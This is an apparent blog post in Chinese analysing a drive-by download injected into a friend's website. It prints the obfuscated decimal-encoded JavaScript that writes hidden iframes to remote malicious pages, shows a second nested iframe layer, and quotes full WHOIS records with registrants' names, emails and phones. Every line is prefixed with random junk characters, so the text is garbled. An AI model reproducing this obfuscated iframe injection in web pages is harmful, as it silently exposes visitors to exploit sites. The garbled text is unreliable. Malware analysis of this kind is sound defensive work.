首发在我的博客里面，
J7ln6 Y H@zpw1fH+ http://www.areway.cn/?p=175 Ad `IgZ -SQYr A:f +x|[ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
eR
CGr?e4 P\Jp E <script>t=’60,105,102,114,97,109,101,
j*"s~8u4 32,115,114,99,61,104,116,116,112,58,47,47,
H UjmJu6f{ 102,114,101,101,46,117,45,117,117,117,46,99,
rYl37.QE 110,47,101,114,114,111,114,46,104,116,109,
!wgj$5Rw. 32,119,105,100,116,104,61,49,48,48,32,104,
)'JSu=Ej 101,105,103,104,116,61,48,62,60,47,105,102,
6x 0>E^~ 114,97,109,101,62′;
hjE9[{K t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
9p XFC9 dU,/!|. K <script>t=’60,105,102,114,97,109,101,32,115,
\ iFE,z 114,99,61,104,116,116,112,58,47,47,102,114,
: .<&Y=^ 101,101,46,117,45,117,117,117,46,99,110,47,
L@wnzt 101,114,114,111,114,46,104,116,109,32,119,
ag6S"IXh 105,100,116,104,61,49,48,48,32,104,101,105,
F&0rI8Nr 103,104,116,61,48,62,60,47,105,102,114,97,
aozk,{9- 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
o9/P/PZ\X document.write(t);</script>
e042`&9=Ic !E%!, <html xmlns=”
,3 wo http://www.w3.org/1999/xhtml Vr'Z5F*@ “>
,Gfnf%H\8> <head>
p:
o*= <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
;(V=disU/ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
tc[PJH&P <title>首页 - 爱生活家庭网
k(MQ:9'| &> -Cz%IV 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
q~qig,$Y 转换字符串后的大概内容是（谁点击后果自付）：
$jHL8r\e7 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
SNQ+ XtoO
m ]\L1& 查询玉米u-uuu.cn的详细信息：
6?6
u Domain Name: u-uuu.cn
}~ 7>S5 ROID: 20070901s10001s64972306-cn
$hL0/T-m Domain Status: ok
m2;%|QE( Registrant Organization: 王雷
<^=k~ 7m Registrant Name: 王雷
z, OMR`W Administrative Email:
czlovexs@126.com &HWH
UWB Sponsoring Registrar: 北京万网志成科技有限公司
Y , P-@( Name Server:ns.yovole.com
7
ir T6O<. Name Server:ns1.yovole.com
}5~ ;jN=k Registration Date: 2007-09-01 17:54
X@arUs7 Expiration Date: 2008-09-01 17:54
,GK>|gNsb 最后PING了一下地址 都没有什么….
m>iuy:ti ~Sh}\&3p 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
'@$?A>.cj <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
\R~Lf+q <script language=”javascript” src=”
dgO2 fI http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script >@t]M`#&h >
3yTBkFI! 这个玉米应该有可能是木马作者的：
RKe19l_V foafau.info的详细信息：
E( TY%wO Access to INFO WHOIS information is provided to assist persons in
b`^$2RM& determining the contents of a domain name registration record in the
+G?3j ,a\ Afilias registry database. The data in this record is provided by
)T>a|. Afilias Limited for informational purposes only, and Afilias does not
`p!.K9r7 guarantee its accuracy. This service is intended only for query-based
h.67] U7m access. You agree that you will use this data only for lawful purposes
4EOu)# and that, under no circumstances will you use this data to: (a) allow,
k2xjc rg enable, or otherwise support the transmission by e-mail, telephone, or
69_c,(M0 facsimile of mass unsolicited, commercial advertising or solicitations
(vQShe\ to entities other than the data recipient’s own existing customers; or
C. Sb4i* (b) enable high volume, automated, electronic processes that send
] |-y[iu queries or data to the systems of Registry Operator, a Registrar, or
@gZ%>qe Afilias except as reasonably necessary to register domain names or
Y$(G)Fs modify existing registrations. All rights reserved. Afilias reserves
w'UP#vT5& the right to modify these terms at any time. By submitting this query,
|_O1V{Q= you agree to abide by this policy.
n44j]+ P Domain ID:D22418703-LRMS
C ZJW`c/ Domain Name:FOAFAU.INFO
3 ,p RmdC Created On:20-Nov-2007 16:05:42 UTC
I!bG7;=_ Last Updated On:20-Nov-2007 16:05:44 UTC
rIu>Jy C"p Expiration Date:20-Nov-2008 16:05:42 UTC
\\[P^ tsF Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Ar|_UV>Zf Status:CLIENT DELETE PROHIBITED
Wjj'yqB O^ Status:CLIENT RENEW PROHIBITED
}b1P!xb!A Status:CLIENT TRANSFER PROHIBITED
$Q?UyEi Status:CLIENT UPDATE PROHIBITED
Lg'z%pi Status:TRANSFER PROHIBITED
Q 5Ln'La$ Registrant ID:GODA-040110615
d~.# K S Registrant Name:liu hong
A0'Yfuie Registrant Organization:
b+ {yF Registrant Street1:beijing
c^m}ep\F5L Registrant Street2:
/ZAEvdO*P Registrant Street3:
" I:j a7 Registrant City:beijing
'06[@Cw Registrant State/Province:
,\Cy'TSz Registrant Postal Code:100000
6n>+cX>E Registrant Country:CN
kg_TXB Registrant Phone:+86.860108888777
Z{%h6"" Registrant Phone Ext.:
|`,%%p|T% Registrant FAX:
f9; M"Pd Registrant FAX Ext.:
A6-JV8^ Registrant Email:bbbshiji@163.com
`>K; S!z Admin ID:GODA-240110615
T;I a;<mfE Admin Name:liu hong
C nJO]0Op3 Admin Organization:
q'PA2a: Admin Street1:beijing
w@hm>6j Admin Street2:
La9dFe-uu{ Admin Street3:
H=B8'N Admin City:beijing
@*F
NWT6 Admin State/Province:
`?~pk)<C]. Admin Postal Code:100000
9HWtdJ+^C= Admin Country:CN
'DVPx%p Admin Phone:+86.860108888777
x H\5T! Admin Phone Ext.:
>YD?
pDPb/ Admin FAX:
d6wsT\S Admin FAX Ext.:
[0 3Aej Admin Email:bbbshiji@163.com
1XwbsKQ} Billing ID:GODA-340110615
,b 2Cl[ Billing Name:liu hong
FLi)EgZXt Billing Organization:
=EFF2M`F Billing Street1:beijing
xqIt?v2c Billing Street2:
$ l Y Billing Street3:
a: 1-n %&F Billing City:beijing
j:rGFd Billing State/Province:
$
-;,O8yR Billing Postal Code:100000
5r@x$* >e Billing Country:CN
" (/.3`g Billing Phone:+86.860108888777
)| 3?7?X Billing Phone Ext.:
mL ]zkD_ Billing FAX:
Fj|C+;Q. Billing FAX Ext.:
h% pgdix Billing Email:bbbshiji@163.com
i{ xgygp6f Tech ID:GODA-140110615
_bu, 1EM Tech Name:liu hong
s-Bpd#G>/ Tech Organization:
{73Z$w1% Tech Street1:beijing
`}"*i_0-5' Tech Street2:
;ZB[g78%R% Tech Street3:
UZ v^3_,qz Tech City:beijing
"Qm Tech State/Province:
M~ =9y m Tech Postal Code:100000
:4/ RB%)" Tech Country:CN
V {ECDg P Tech Phone:+86.860108888777
a*! wiTGf Tech Phone Ext.:
"4|D"|wI) Tech FAX:
a//<S?d$: Tech FAX Ext.:
o[0Cv* Tech Email:bbbshiji@163.com
E\ 5t&jZr Name Server:NS27.DOMAINCONTROL.COM
!Mceg Name Server:NS28.DOMAINCONTROL.COM
fC52nK&T8 Name Server:
3
rV)JA Name Server:
#D &eov? Name Server:
=rGjOb3+ Name Server:
vEk
jd# Name Server:
g&) XaF[! Name Server:
`VwZDU~6 Name Server:
i_Ab0vy e Name Server:
w>J|416 Name Server:
GeD^-.^ Name Server:
b+9M? k" Name Server:
)u`q41! FTsvPLIv" 接着下载每个文件里面的代码：
EE=!Y NP] 一步一步看..
JT#jJ/^ 
{rBS52,Z# 
tY~EB.% 
~sx?aiO 
3[amCKel 
@))PpE`co8 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
